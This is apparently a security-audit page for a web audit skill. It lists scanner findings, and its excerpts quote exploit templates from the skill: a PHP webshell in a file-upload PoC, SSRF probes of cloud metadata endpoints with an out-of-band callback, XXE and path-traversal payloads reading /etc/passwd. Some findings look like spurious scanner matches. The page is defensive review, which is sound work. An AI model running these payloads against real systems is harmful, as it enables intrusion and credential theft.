Back to skill

Security audit

Web Security Audit Skills

Security checks for vulnerabilities and agentic risk

Overview

The skill is a real static scanner, but it also generates ready-to-run exploit scripts that can attack systems, so it should be reviewed before use.

Install only if you deliberately want a security audit skill that produces executable exploit material. Keep generated reports private, do not run the PoCs except on systems you own or are explicitly authorized to test, and consider removing or gating the webshell, metadata-service probing, OOB callback, and sensitive-file-read payloads before use.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/security_md.py:98
Finding

Generated command-injection PoC discloses the operator hostname

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/security_md.py:217
Finding

Generated SSRF PoC probes internal services and cloud metadata endpoints

Content
View full analysis
0: print(f"[+] SSRF confirmed: {url}") print(f" Response: {r.text[:300]}") # Warning: do not test in production except requests.Timeout: print(f"[*] Timeout on {url} — may indicate filtered/protected") except Exception: continue # OOB callback validation try: requests.get(TARGET, params={PARAM: CALLBACK}, timeout=10) print(f"[*] OOB callback sent to: {CALLBACK}") except Exception: pass ``` Equivalent metadata-probing payloads are also documented in `SKILL.md`, including AWS and GCP metadata addresses. These are payload values supplied to a target application rather than endpoints contacted directly by the scanner. ### Technical Analysis The scanner itself does not connect to cloud metadata services. Instead, the report generator embeds a runnable SSRF PoC that instructs a potentially vulnerable target application to request: - Localhost services on several ports. - AWS instance metadata. - GCP instance metadata. - Alibaba Cloud instance metadata. - A user-configured external callback endpoint. This changes the generated artifact from passive audit guidance into an active internal-network reconna ...[truncated 2325 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
Findings (39)

YARA rule 'php_webshell_generic': Generic PHP webshell — eval/assert on user-controlled input [webshells]

Critical
Category
YARA Match
Confidence
100% confidence
Finding

The file-upload PoC embeds a functional PHP webshell that executes commands from a request parameter after upload. This is overtly weaponized content that directly enables post-upload remote command execution and is far beyond the stated purpose of code auditing.

Content

Scanner excerpt · SKILL.md (reported line 401)May include surrounding context.

eturn print("[-] No known SSTI pattern detected")

if name == "main": exploit()

text

### File Upload PoC

```python
#!/usr/bin/env python3
"""File Upload PoC"""
import requests
import os
import tempfile

TARGET = "http://target.example.com/upload"

def exploit():
    shell = ('<?php\n'
             'if(isset($_GET[\'cmd\'])){\n'
             '    echo "<pre>";\n'
             '    system($_GET[\'cmd\']);\n'
             '    echo "</pre>";\n'
             '}\n'
             '?>\n')
    with tempfile.NamedTemporaryFile(suffix=".php", delete=False, mode="w") as f:
        f.write(shell)
        tmpfile = f.name
    filenames = [
        ("shell.php", "application/x-php"),
        ("shell.php.jpg", "image/jpeg"),
        ("shell.php%00.jpg", "image/jpeg"),
        ("shell.pHp", "application/x-php"),
    ]
    for fname, mime in filenames:
        with open(tmpfile, "rb") as f:
            r = requests.post(TARGET, files={"file": (fname, f, mime)}, timeout=10)
            p

YARA rule 'php_webshell_generic': Generic PHP webshell — eval/assert on user-controlled input [webshells]

Critical
Category
YARA Match
Confidence
100% confidence
Finding

This line contains a PHP webshell payload that executes user-supplied commands via system($_GET['cmd']). Embedding a deployable webshell in a file-upload exploit template is overtly weaponized and enables arbitrary command execution and persistent compromise if used against a vulnerable target.

Content

Scanner excerpt · scripts/security_md.py (reported line 384)May include surrounding context.

python
oC — {category}"""\n'
        'import requests\n'
        'import os\n'
        'import tempfile\n'
        '\n'
        'TARGET = "{vuln_url_placeholder}"\n'
        '\n'
        'def exploit_file_upload():\n'
        '    """文件上传漏洞验证"""\n'
        '    shell_code = (\'<?php\\n\''
        '\'if(isset($_GET[\\\'cmd\\\'])){{\\n\''
        '\'    echo "<pre>";\\n\''
        '\'    system($_GET[\\\'cmd\\\']);\\n\''
        '\'    echo "</pre>";\\n\''
        '\'}}\\n\''
        '\'?>\\n\')\n'
        '    with tempfile.NamedTemporaryFile(suffix=".php", delete=False, mode="w") as f:\n'
        '        f.write(shell_code)\n'
        '        tmpfile = f.name\n'
        '    filenames = [\n'
        '        ("shell.php", "application/x-php"),\n'
        '        ("shell.php.jpg", "image/jpeg"),\n'
        '        ("shell.php%00.jpg", "image/jpeg"),\n'
        '        ("shell.pHp", "application/x-php"),\n'
        '        ("shell.php.", "application/x-php"),\n'

YARA rule 'python_webshell': Python webshell — exec/eval/os.popen on request input [webshells]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).

Content

Scanner excerpt · README.md (reported line 165)May include surrounding context.

md
ring($` / `DOMDocument->loadXML($` |
| PHP-REDIR-001 | 开放重定向 | `header("Location: ".$_GET` |

### Java 规则

| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| JAVA-SQLI-001 | SQL 注入 | `createStatement()` / `executeQuery("SELECT...+"` |
| JAVA-XSS-001 | XSS | `response.getWriter().print(request.get` |
| JAVA-RCE-001 | 命令注入 | `Runtime.getRuntime().exec(request.get` |
| JAVA-DESER-001 | 反序列化 | `ObjectInputStream(request` / `readObject()` |
| JAVA-SSRF-001 | SSRF | `HttpURLConnection` / `RestTemplate` 含用户 URL |
| JAVA-XXE-001 | XXE | `DocumentBuilderFactory.newInstance()` |
| JAVA-PATH-001 | 路径遍历 | `new File(request.get` / `Paths.get(request.get` |
| JAVA-ACT-001 | Actuator 暴露 | `endpoints.web.exposure.include=*` |

### Python 规则

| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| PY-SQLI-001 | SQL 注入 | `.execute(f"...request"` / `.execute("...%s" % request` |
| PY-XSS-001 |

YARA rule 'python_webshell': Python webshell — exec/eval/os.popen on request input [webshells]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).

Content

Scanner excerpt · SKILL.md (reported line 474)May include surrounding context.

md
ring($` / `DOMDocument->loadXML($` |
| PHP-REDIR-001 | 开放重定向 | `header("Location: ".$_GET` |

### Java 规则

| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| JAVA-SQLI-001 | SQL 注入 | `createStatement()` / `executeQuery("SELECT...+"` |
| JAVA-XSS-001 | XSS | `response.getWriter().print(request.get` |
| JAVA-RCE-001 | 命令注入 | `Runtime.getRuntime().exec(request.get` |
| JAVA-DESER-001 | 反序列化 | `ObjectInputStream(request` / `readObject()` |
| JAVA-SSRF-001 | SSRF | `HttpURLConnection` / `RestTemplate` 含用户 URL |
| JAVA-XXE-001 | XXE | `DocumentBuilderFactory.newInstance()` |
| JAVA-PATH-001 | 路径遍历 | `new File(request.get` / `Paths.get(request.get` |
| JAVA-ACT-001 | Actuator 暴露 | `endpoints.web.exposure.include=*` |

### Python 规则

| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| PY-SQLI-001 | SQL 注入 | `.execute(f"...request"` / `.execute("...%s" % request` |
| PY-XSS-001 |

Unvalidated Output Injection

High
Category
Output Handling
Confidence
85% confidence
Finding

Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.

Content

Scanner excerpt · README.md (reported line 178)May include surrounding context.

md
|---------|------|---------|
| PY-SQLI-001 | SQL 注入 | `.execute(f"...request"` / `.execute("...%s" % request` |
| PY-XSS-001 | XSS | `\|safe` / `mark_safe(request` / `render_template_string(request` |
| PY-RCE-001 | 命令注入 | `os.system(request` / `subprocess.run(request` / `eval(request` |
| PY-SSTI-001 | SSTI | `render_template_string(request` / `Template(request` |
| PY-DESER-001 | 反序列化 | `pickle.loads(request` / `yaml.load(request` |
| PY-SSRF-001 | SSRF | `requests.get(request` / `urlopen(request` |

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The declared purpose is regex-based static auditing, but the instructions expand behavior into generating full exploit content and operational attack guidance. This mismatch is dangerous because users and orchestrators may trust the skill as a defensive scanner while it also enables offensive actions not disclosed in its stated purpose.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The skill explicitly requires generating runnable exploit/PoC scripts for each finding. That materially changes the skill from defensive analysis into offensive enablement, lowering the barrier to exploitation and creating misuse risk if invoked against real targets.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
100% confidence
Finding

This section contains concrete exploit templates for SQLi, RCE, XSS, deserialization, SSRF, XXE, traversal, SSTI, upload bypass, and open redirect. In context, these are ready-to-use attack playbooks with payloads, endpoints, and logic for confirmation, which substantially increases dual-use and abuse potential beyond static code review.

Content

No source excerpt is available for this finding.

Cloud Metadata Access

High
Category
Server-Side Request Forgery
Confidence
99% confidence
Finding

The SSRF template explicitly probes the cloud metadata IP 169.254.169.254, a high-value internal target commonly used to extract instance credentials. Including this target in a runnable PoC materially increases the likelihood of credential theft or cloud compromise if misused.

Content

Scanner excerpt · SKILL.md (reported line 276)May include surrounding context.

md
"http://127.0.0.1:22",
        "http://127.0.0.1:80",
        "http://127.0.0.1:8080",
        "http://169.254.169.254/latest/meta-data/",
        "http://metadata.google.internal/",
    ]
    for url in internal:

Cloud Metadata Access

High
Category
Server-Side Request Forgery
Confidence
99% confidence
Finding

The template also targets metadata.google.internal, another cloud metadata endpoint associated with privileged environment data. This is especially dangerous because it guides attacks toward credential-bearing infrastructure resources rather than merely demonstrating a generic SSRF concept.

Content

Scanner excerpt · SKILL.md (reported line 277)May include surrounding context.

md
"http://127.0.0.1:80",
        "http://127.0.0.1:8080",
        "http://169.254.169.254/latest/meta-data/",
        "http://metadata.google.internal/",
    ]
    for url in internal:
        try:

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

The XXE PoC explicitly targets local file disclosure using file:///etc/passwd. Even though it appears in a template, it provides concrete credential/system data access guidance that can be directly repurposed against real systems.

Content

Scanner excerpt · SKILL.md (reported line 308)May include surrounding context.

md
payloads = [
        ('<?xml version="1.0"?>\n'
         '<!DOCTYPE foo [\n'
         '  <!ENTITY xxe SYSTEM "file:///etc/passwd">\n'
         ']>\n'
         '<root>&xxe;</root>', "/etc/passwd"),
        ('<?xml version="1.0"?>\n'

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

This finding is part of the same XXE template and continues the concrete local-file access pattern, including OS-specific sensitive file targets. In a skill marketed for auditing, embedding such payloads increases misuse risk by packaging operational exfiltration instructions.

Content

Scanner excerpt · SKILL.md (reported line 310)May include surrounding context.

md
'<!DOCTYPE foo [\n'
         '  <!ENTITY xxe SYSTEM "file:///etc/passwd">\n'
         ']>\n'
         '<root>&xxe;</root>', "/etc/passwd"),
        ('<?xml version="1.0"?>\n'
         '<!DOCTYPE foo [\n'
         '  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">\n'

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

The path traversal PoC includes direct payloads to read /etc/passwd, which is a standard proof target for unauthorized file disclosure. In context, this is not merely descriptive detection logic; it is actionable exploitation content that facilitates attacks.

Content

Scanner excerpt · SKILL.md (reported line 341)May include surrounding context.

md
def exploit():
    paths = [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\win.ini",
        "....//....//....//etc/passwd",
        "..%252f..%252f..%252fetc/passwd",

Credential Access

High
Category
Privilege Escalation
Confidence
97% confidence
Finding

This line extends the traversal exploit list with encoded bypass variants for reaching /etc/passwd. The inclusion of bypass encodings makes the content more dangerous because it helps evade naive filters and moves further from defensive audit scope.

Content

Scanner excerpt · SKILL.md (reported line 343)May include surrounding context.

md
paths = [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\win.ini",
        "....//....//....//etc/passwd",
        "..%252f..%252f..%252fetc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
    ]

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · scripts/rules.py (reported line 150)May include surrounding context.

python
]],
        [".php", ".phtml", ".inc"],
    ))
    return rules

PHP_RULES = _build_php_rules()

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · scripts/rules.py (reported line 252)May include surrounding context.

python
]],
        [".php", ".phtml", ".inc"],
    ))
    return rules

PHP_RULES = _build_php_rules()

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · scripts/rules.py (reported line 358)May include surrounding context.

python
]],
        [".php", ".phtml", ".inc"],
    ))
    return rules

PHP_RULES = _build_php_rules()

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · scripts/rules.py (reported line 433)May include surrounding context.

python
]],
        [".php", ".phtml", ".inc"],
    ))
    return rules

PHP_RULES = _build_php_rules()

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · scripts/rules.py (reported line 450)May include surrounding context.

python
]],
        [".php", ".phtml", ".inc"],
    ))
    return rules

PHP_RULES = _build_php_rules()

Description-Behavior Mismatch

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The file contains a large library of ready-to-render exploit templates for SQLi, RCE, XSS, deserialization, SSRF, XXE, path traversal, SSTI, file upload, and open redirect. This goes beyond passive security reporting and materially enables offensive use by generating actionable attack code inside the audit report, increasing misuse risk and making the skill dangerous in contexts where only analysis/reporting is expected.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The skill includes context-inappropriate offensive capability, including command-injection payloads, insecure deserialization RCE examples, SSRF targeting internal/cloud metadata endpoints, and a file-upload webshell payload. In a code-audit/report-generation component, bundling weaponized exploitation content substantially raises abuse potential and can facilitate unauthorized intrusion or post-exploitation.

Content

No source excerpt is available for this finding.

Cloud Metadata Access

High
Category
Server-Side Request Forgery
Confidence
99% confidence
Finding

The SSRF template explicitly probes the AWS instance metadata endpoint at 169.254.169.254. This is a well-known target for credential theft and cloud compromise, so embedding it in a report generator meaningfully equips misuse beyond benign auditing.

Content

Scanner excerpt · scripts/security_md.py (reported line 221)May include surrounding context.

python
"http://127.0.0.1:8080",
        "http://127.0.0.1:3306",
        "http://127.0.0.1:6379",
        "http://169.254.169.254/latest/meta-data/",  # AWS metadata
        "http://metadata.google.internal/",            # GCP metadata
        "http://100.100.100.200/latest/meta-data/",   # Alibaba Cloud
    ]

Cloud Metadata Access

High
Category
Server-Side Request Forgery
Confidence
99% confidence
Finding

The template also includes the GCP metadata hostname, another sensitive cloud credential source. Including multiple provider-specific metadata targets demonstrates an offensive objective and increases the likelihood of credential access if misused.

Content

Scanner excerpt · scripts/security_md.py (reported line 222)May include surrounding context.

python
"http://127.0.0.1:3306",
        "http://127.0.0.1:6379",
        "http://169.254.169.254/latest/meta-data/",  # AWS metadata
        "http://metadata.google.internal/",            # GCP metadata
        "http://100.100.100.200/latest/meta-data/",   # Alibaba Cloud
    ]
    for url in internal_targets:

Cloud Metadata Access

High
Category
Server-Side Request Forgery
Confidence
99% confidence
Finding

The Alibaba Cloud metadata endpoint is likewise embedded for SSRF validation. Enumerating cloud metadata services across providers broadens the attack surface enabled by the skill and is especially dangerous because successful access may expose temporary credentials.

Content

Scanner excerpt · scripts/security_md.py (reported line 223)May include surrounding context.

python
"http://127.0.0.1:6379",
        "http://169.254.169.254/latest/meta-data/",  # AWS metadata
        "http://metadata.google.internal/",            # GCP metadata
        "http://100.100.100.200/latest/meta-data/",   # Alibaba Cloud
    ]
    for url in internal_targets:
        try:

Credential Access

High
Category
Privilege Escalation
Confidence
98% confidence
Finding

This XXE template embeds a payload that attempts to read /etc/passwd via an external entity. Including explicit local-file exfiltration payloads in a report generator provides credential/file-access tradecraft rather than mere analysis, and can be reused directly against targets.

Content

Scanner excerpt · scripts/security_md.py (reported line 262)May include surrounding context.

python
'    xxe_payloads = [\n'
        '        (\'<?xml version="1.0"?>\\n'
        '<!DOCTYPE foo [\\n'
        '  <!ENTITY xxe SYSTEM "file:///etc/passwd">\\n'
        ']>\\n'
        '<root>&xxe;</root>\', "/etc/passwd"),\n'
        '        (\'<?xml version="1.0"?>\\n'